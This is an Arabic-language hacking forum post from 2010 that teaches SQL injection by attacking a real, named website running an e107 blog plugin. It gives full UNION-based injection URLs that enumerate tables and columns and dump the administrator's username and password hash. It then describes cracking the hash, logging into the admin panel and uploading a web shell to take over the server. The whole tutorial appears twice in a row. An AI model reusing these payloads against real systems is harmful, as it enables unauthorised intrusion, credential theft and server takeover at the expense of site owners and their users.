dolla
08-14-2010, 12:49 AM
السلام عليكم ورحمة الله وبركاته النهارده هشرحلكم اكتشاف واستغلال ثغرات الحقن "sql injection"
طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-
====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================
ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة
تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت
===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================
عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query
وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده
ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن
لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب
طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه
ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..
=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================
طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-
نشوف المتغير بالموقع
http://img200.imageshack.us/img200/3962/73027532.png
طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla
الى المتغير
فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب
لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد
http://img809.imageshack.us/img809/143/86229980.png
المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..
الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d
من خلال order+by
===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================
طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم
فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا
select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"
select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"
select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"
select name,age,job from profile+order+by+4
طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!
ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب
فانا مثلا هضيف للمتغير
macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود
طيب نجرب
macgurublog.php?uid=3+order+by+2--
المحتوى رجع كامل .. يبقى نجرب
macgurublog.php?uid=3+order+by+3--
المحتوى رجع كامل .. يبقى نجرب ..
macgurublog.php?uid=3+order+by+4--
اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد
هم تلت عواميد .. وده كان على سبيل المثال :D افتراضى يعنى
طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها
بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب
==================================================
تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================
هجرب اول حاجة
macgurublog.php?uid=3+order+by+1--
http://img231.imageshack.us/img231/8057/53746214.png
الصفحة رجعت كاملة
طيب يبقى هخليها
macgurublog.php?uid=3+order+by+2--
http://img217.imageshack.us/img217/3029/16630806.png
محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت
هو "عمود واحد فقط"
طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام
ال union+select لحقن الquery بتاعنا .. واضافته الى الquery
الموجود بالاسكربت ...
===================================
استخدام ال union+select
==================================
طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..
macgurublog.php?uid=3+union+select+1--
وطبعا لو كان العواميد 2
كنت هضيف :-
macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف
macgurublog.php?uid=3+union+select+3--
وهكاذا :-
طيب نشوف الصورة ..
http://img341.imageshack.us/img341/9601/74884378.png
طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة
دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1
طيب نشوف
===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================
هضع مكان العمود 1 :-
concat(database(),0x3e,user(),0x3e,@@version)
طيب نفسر الحقنة :-
الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب
نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1
0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة
والاصدار
database():لاظهاراسم القاعدة
user():لاظهار اسم مستخدم القاعدة
@@version :لاظهار اصدار القاعدة :-
طيب بعد الاستغلال نشوف الصورة ...
http://img411.imageshack.us/img411/9906/83268273.png
طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا
عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع
يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول
اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول
والقواعد والعواميد ..
===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================
طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت
الى اسمها ."turkijeappartem"
هشيل رقم 1 :- واضيف: -
group_concat(table_name)
+from+information_schema.tables+where+table_schema ='t
urkijeappartem'--
table_name :ده عمود الى فيه جميع اسماء جداول القاعدة
infomation_schema.tables : ده جدول tables الى يحتوى على عمود
table_name ..
turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..
وانا وضعتها بين علامة التنصيص '' لانها string اى نص
طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''
لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس
وهيكون الاستغلال كده
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(table_name)
+from+information_schema.tables+where+table_Schema =0x
7475726B696A65617070617274656D--
نشوف الصورة ..
http://img833.imageshack.us/img833/8671/74808010.png
طيب جميل دلوقتى ظهرت لنا اسامى الجداول كلها انا دلوقتى هختار اسم الجدول
الى فيه اسم وكلمة مرور الادمن وغالبا يكون
login او admin او user
طيب اانا شفت اسم الجدول : وطلع "e107_user"
دلوقتى
عاوز اجيب جميع عواميد الجدول e107_user
هشيل رقم 1 واضع :-
group_concat(column_name)
+from+information_schema.columns+where+table_name= 0x6
53130375f75736572--
informaion_schema.columns :فيه جميع اسماء العواميد
table_name=0x653130375f75736572 :- عشان اجيب جميع عواميد
الجدول e107_user وبالنسبة لى "0x653130375f75736572"
ده اسم الجدول e107_user بس بتشفير الهيكس لتخطى ال Magic Quotes
طيب الاستغلال كامل هيبقى
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(column_name)
+from+information_schema.columns+where+table_name= 0x6
53130375f75736572--
نشوف الصورة ...
http://img33.imageshack.us/img33/8222/95155533.png
ظهرت لنا جميع اسماء العواميد طيب دلوقتى بقى انا هشوف اسماء عواميد اسم المستخدم
وكلمة المرور وودجت اسمائهم
user_name و user_password
جميل وعندنا اسم الجدول الى هو :e107_user
طيب يبقى كده وصلنا .. هضيف المرة دى بدل رقم 1
concat(user_name,0x3e,user_password)
+from+e107_user--
طيب نشوف الصورة ...
http://img571.imageshack.us/img571/5906/60283064.png
جميل ظهر لنا اسم الادمن والباس مشفر
نروح دلوقتى لاى موقع فك تشفير ال md5
زى موقع :-www.md5crack.com
وبعد فك تشفير الباصورد ... نروح لمسار الادمن e107_admin
ونكتب اسم الادمن والباصورد .. تم دخول الوحة
http://img63.imageshack.us/img63/9636/37678942.png
طيب بعد مدخلت الوحة ممكن ترفع اندكسك او ترفع شيل وتخترق السيرفر كلو ..
انا قدرت ارفع شيل
http://img340.imageshack.us/img340/2007/61553502.png
تم الشرح بحمدالله ..
طيب اول حاجة لازم تشوف الدرس الى فات عشان تفهمود درس انهارده :-
====================================
ما معنى ثغرات ال sql injection ولماذا سميت بهذا الاسم؟
=====================================
ثغرات الحقن او ثغرات ال sql injection سميت بالاسم ده نظرا لان الثغرة
تؤدى الى حقن او اضافة query خاص بالمخترق الى query الاصلى الموجود بالاسكربت
===========================================
كيف نكتشف ثغرة ال sql injection.؟
============================================
عشان نكتشف ثغرة sql injection لازم نختبر امكانية حقن ال query
وده من خلال اننا نروح لاى متغير بموقع معين ونضيف اى نص "string" الى المتغير ده
ونشوف لو ظهر لنا ايرور او محتوى الصفحة نقص يبقى كده الموقع مصاب بثغرة الحقن
لانه دخل النص بتاعنا فى ال query الاصلى بالاسكربت وبالتالى فهو مصاب
طيب لو رجعت الصفحة كما كانت يبقى كده تجاهل النص "string" الى ادخلناه
ولم يتم اضافة النص للكويرى الى بالاسكربت وبالتالى الموقع غير قابل للحقن اى غير مصاب ..
=======================================
اختبار " اكتشاف ثغرة sql injection " "تطبيق عملى"
=======================================
طيب عاوزين نطبق الكلام ده عملى انا معايا موقع هشرح عليه :-
نشوف المتغير بالموقع
http://img200.imageshack.us/img200/3962/73027532.png
طيب دلوقتى هختبر الموقع مصاب بثغرة حقن ام لا باضافة ' او اى نص مثلا Dolla
الى المتغير
فى الموقع ده لو ضيفت ال ' بيقولك acess denied قد ينخدع البعض ويفكر الموقع غير مصاب
لاكن انا اقولكم جربو تضيف اى نص مثلا نص Dolla للتاكد
http://img809.imageshack.us/img809/143/86229980.png
المحتوى اختفى من الصفحة بعد اضافة النص Dolla يبقى الموقع مصاب بالحقن ..
الخطوة الجاية هى معرفة عدد العواميد الى بالquery الموجود بالاسكربت :d
من خلال order+by
===========================================
شرح وظيفة order+by على سبيل الامثلة
==========================================
طيب كتير من الناس موش فاهمة ايه فكرة عمل order by انا اقولكم
فكرة order by وظيفتها انها بترتب نتيجة عواميد معينة بدلالة عمود معين مثلا
select name,age,job from profile+order+by+1
طيب الكويرى ده هيرتبلنا الاسم والوظيفة والعمر بناء على او بدلالة الاسم "name"
select name,age,job from profile+order+by+2
هنا الكويرى ده هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود رقم 2 وهو ال العمر "age"
select name,age,job from profile+order+by+3
هنا الكويرى هيرتبلنا الاسم والعمر والوظيفة بدلالة العمود 3 وهو الوظيفة "job"
select name,age,job from profile+order+by+4
طيب دلوقتى هنا طبعا هيجبلنا ايرور ليه السبب لان مفيش عمود رابع !!!!
ودى الطريقة الى هنبتعها لمعرفة العواميد فى الكويرى الى بسكربت الموقع المصاب
فانا مثلا هضيف للمتغير
macgurublog.php?uid=3+order+by+1--
مفيش ايرور ولم ينقص المحتوى .. وده اكيد لان اى query لازم يحتوى على الاقل على عمود
طيب نجرب
macgurublog.php?uid=3+order+by+2--
المحتوى رجع كامل .. يبقى نجرب
macgurublog.php?uid=3+order+by+3--
المحتوى رجع كامل .. يبقى نجرب ..
macgurublog.php?uid=3+order+by+4--
اممم المحتوى نقص .. او ظهر ايرور يبقى انا افهم ان مفيش عمود رابع اى عدد العواميد
هم تلت عواميد .. وده كان على سبيل المثال :D افتراضى يعنى
طبعا انا استخدمت "-- " للتعليق لكى تخلى اى جملة تقع بعدها مجرد تعليق تم شرحها
بالدرس السابق :- طيب دلوقتى هنجرب عملى على الموقع المصاب
==================================================
تطبيق Order+By على الموقع المصاب لمعرفة عدد عواميد الquery ألموجود بالاسكربت
==================================================
هجرب اول حاجة
macgurublog.php?uid=3+order+by+1--
http://img231.imageshack.us/img231/8057/53746214.png
الصفحة رجعت كاملة
طيب يبقى هخليها
macgurublog.php?uid=3+order+by+2--
http://img217.imageshack.us/img217/3029/16630806.png
محتوى الصفحة اختفى يبقى افهم من كده ان مفيش عمود تانى بالكويرى اى ان عدد عواميد الاسكربت
هو "عمود واحد فقط"
طيب وماذا بعد معرفة عدد العواميد ؟؟ هنتقل للخطوة التالتة وهى استخدام
ال union+select لحقن الquery بتاعنا .. واضافته الى الquery
الموجود بالاسكربت ...
===================================
استخدام ال union+select
==================================
طيب دلوقتى عرفنا ان عدد العواميد 1 يبقى انا هضيف ..
macgurublog.php?uid=3+union+select+1--
وطبعا لو كان العواميد 2
كنت هضيف :-
macgurublog.php?uid=3+union+select+2--
ولو تلاتة : كنت هضيف
macgurublog.php?uid=3+union+select+3--
وهكاذا :-
طيب نشوف الصورة ..
http://img341.imageshack.us/img341/9601/74884378.png
طيب انا ضيف - قبل المتغير 3 عشان اشوف رقم العمود ولقيت رقم العمود 1 ظهر بالصفحة
دلوقتى ممكن احقن الquery الخاص بينا مكان رقم العمود 1
طيب نشوف
===========================================
استخراج :- اسم القاعدة + اسم مستخدم القاعدة +اصدار القاعدة
===================================
هضع مكان العمود 1 :-
concat(database(),0x3e,user(),0x3e,@@version)
طيب نفسر الحقنة :-
الدالة concat() :تقوم باظهار اكثر من نتيجة بمكان عمود واحد :- يعنى هجيب
نتيجة اسم القاعدة واسم المستخدم واصدار القاعدة بمكان عمود واحد . الى هو العمود رقم 1
0X3E :دى علامة > بس بتشفير الهيكس هفصل بيها بين اسم المستخدم واسم القاعدة
والاصدار
database():لاظهاراسم القاعدة
user():لاظهار اسم مستخدم القاعدة
@@version :لاظهار اصدار القاعدة :-
طيب بعد الاستغلال نشوف الصورة ...
http://img411.imageshack.us/img411/9906/83268273.png
طيب دلوقتى عرفنا اسم القاعدة واصدارها واسم مستخدم القاعدة :- اهم حاجة عندنا
عرفنا اصدار القاعدة انه الخامس لانه بتفرق فى الحقن الاصدار فالاصدار الرابع
يعتمد على تخمين الجداول او معرفة مسبقة باسامى الجداول
اما الاصدار الخامس فيوجد به شىء اسمه ال "schema"ودى فيها اسامى الجداول
والقواعد والعواميد ..
===========================================
حقن الاصدار الخامس واستخراج أسامى عواميد القاعدة من ال schema
========================================
طيب دلوقتى عاوز استخرج جميع اسماء الجداول لقاعدة الاسكربت
الى اسمها ."turkijeappartem"
هشيل رقم 1 :- واضيف: -
group_concat(table_name)
+from+information_schema.tables+where+table_schema ='t
urkijeappartem'--
table_name :ده عمود الى فيه جميع اسماء جداول القاعدة
infomation_schema.tables : ده جدول tables الى يحتوى على عمود
table_name ..
turkijeappartem : دى اسم القاعدة الى هستخرج اسامى جداولها ..
وانا وضعتها بين علامة التنصيص '' لانها string اى نص
طيب دلوقتى فى مشكلة .. ان لو الماجيك كوتس اون هيمنعنى انى اضيف ال ''
لانه هيحط / قبل ال ' والدنيا هتبوظ عشان كده هشفر اسم القاعدة بالهيكس
وهيكون الاستغلال كده
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(table_name)
+from+information_schema.tables+where+table_Schema =0x
7475726B696A65617070617274656D--
نشوف الصورة ..
http://img833.imageshack.us/img833/8671/74808010.png
طيب جميل دلوقتى ظهرت لنا اسامى الجداول كلها انا دلوقتى هختار اسم الجدول
الى فيه اسم وكلمة مرور الادمن وغالبا يكون
login او admin او user
طيب اانا شفت اسم الجدول : وطلع "e107_user"
دلوقتى
عاوز اجيب جميع عواميد الجدول e107_user
هشيل رقم 1 واضع :-
group_concat(column_name)
+from+information_schema.columns+where+table_name= 0x6
53130375f75736572--
informaion_schema.columns :فيه جميع اسماء العواميد
table_name=0x653130375f75736572 :- عشان اجيب جميع عواميد
الجدول e107_user وبالنسبة لى "0x653130375f75736572"
ده اسم الجدول e107_user بس بتشفير الهيكس لتخطى ال Magic Quotes
طيب الاستغلال كامل هيبقى
http://www.turkijeappartement.be/e107_plugins/macguru
blog_menu/macgurublog.php?uid=-
3+union+select+group_concat(column_name)
+from+information_schema.columns+where+table_name= 0x6
53130375f75736572--
نشوف الصورة ...
http://img33.imageshack.us/img33/8222/95155533.png
ظهرت لنا جميع اسماء العواميد طيب دلوقتى بقى انا هشوف اسماء عواميد اسم المستخدم
وكلمة المرور وودجت اسمائهم
user_name و user_password
جميل وعندنا اسم الجدول الى هو :e107_user
طيب يبقى كده وصلنا .. هضيف المرة دى بدل رقم 1
concat(user_name,0x3e,user_password)
+from+e107_user--
طيب نشوف الصورة ...
http://img571.imageshack.us/img571/5906/60283064.png
جميل ظهر لنا اسم الادمن والباس مشفر
نروح دلوقتى لاى موقع فك تشفير ال md5
زى موقع :-www.md5crack.com
وبعد فك تشفير الباصورد ... نروح لمسار الادمن e107_admin
ونكتب اسم الادمن والباصورد .. تم دخول الوحة
http://img63.imageshack.us/img63/9636/37678942.png
طيب بعد مدخلت الوحة ممكن ترفع اندكسك او ترفع شيل وتخترق السيرفر كلو ..
انا قدرت ارفع شيل
http://img340.imageshack.us/img340/2007/61553502.png
تم الشرح بحمدالله ..